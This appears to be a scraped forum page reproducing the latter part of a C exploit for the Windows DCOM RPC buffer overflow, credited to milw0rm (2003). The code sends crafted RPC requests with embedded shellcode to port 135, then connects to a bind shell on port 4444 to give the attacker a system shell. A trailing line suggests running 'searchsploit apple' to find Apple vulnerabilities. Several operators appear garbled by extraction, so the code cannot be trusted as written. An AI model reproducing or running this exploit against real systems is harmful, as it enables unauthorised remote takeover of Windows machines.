FD_SET (sock, rfds);
select (sock + 1, rfds, NULL, NULL, NULL); if (FD_ISSET (0, rfds)) {
l = read (0, buf, sizeof (buf)); if (l = 0) { printf("\n - Connection closed by local user\n"); exit (EXIT_FAILURE);
}
write (sock, buf, l);
} if (FD_ISSET (sock, rfds)) {
l = read (sock, buf, sizeof (buf)); if (l == 0) { printf ("\n - Connection closed by remote host.\n"); exit (EXIT_FAILURE);
} else if (l 0) { printf ("\n - Read failure\n"); exit (EXIT_FAILURE);
}
write (1, buf, l);
}
}
} int main(int argc, char **argv) { int sock; int len,len1; unsigned int target_id; unsigned long ret; struct sockaddr_in target_ip; unsigned short port = 135; unsigned char buf1[0x1000]; unsigned char buf2[0x1000]; printf("---------------------------------------------------------\n"); printf("- Remote DCOM RPC Buffer Overflow Exploit\n"); printf("- Original code by FlashSky and Benjurry\n"); printf("- Rewritten by HDM hdm [at] metasploit.com\n"); if(argc3)
{ printf("- Usage: %s Target ID Target IP\n", argv[0]); printf("- Targets:\n"); for (len=0; targets[len] != NULL; len++)
{ printf("- %d\t%s\n", len, targets[len]);
} printf("\n"); exit(1);
} /* yeah, get over it :) */ target_id = atoi(argv[1]);
ret = offsets[target_id]; printf("- Using return address of 0x%.8x\n", ret); memcpy(sc+36, (unsigned char *) ret, 4);
target_ip.sin_family = AF_INET;
target_ip.sin_addr.s_addr = inet_addr(argv[2]);
target_ip.sin_port = htons(port); if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("- Socket"); return(0);
} if(connect(sock,(struct sockaddr *)⌖_ip, sizeof(target_ip)) != 0)
{
perror("- Connect"); return(0);
}
len=sizeof(sc); memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;
*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2; memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc); memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3); memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc; if (send(sock,bindstr,sizeof(bindstr),0)== -1)
{
perror("- Send"); return(0);
}
len=recv(sock, buf1, 1000, 0); if (send(sock,buf2,len1,0)== -1)
{
perror("- Send"); return(0);
}
close(sock);
sleep(1);
target_ip.sin_family = AF_INET;
target_ip.sin_addr.s_addr = inet_addr(argv[2]);
target_ip.sin_port = htons(4444); if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("- Socket"); return(0);
} if(connect(sock,(struct sockaddr *)⌖_ip, sizeof(target_ip)) != 0)
{ printf("- Exploit appeared to have failed.\n"); return(0);
} printf("- Dropping to System Shell...\n\n");
shell(sock); return(0);
} // milw0rm.com [2003-07-26] View Code
查找apple的漏洞
searchsploit apple
0条大神的评论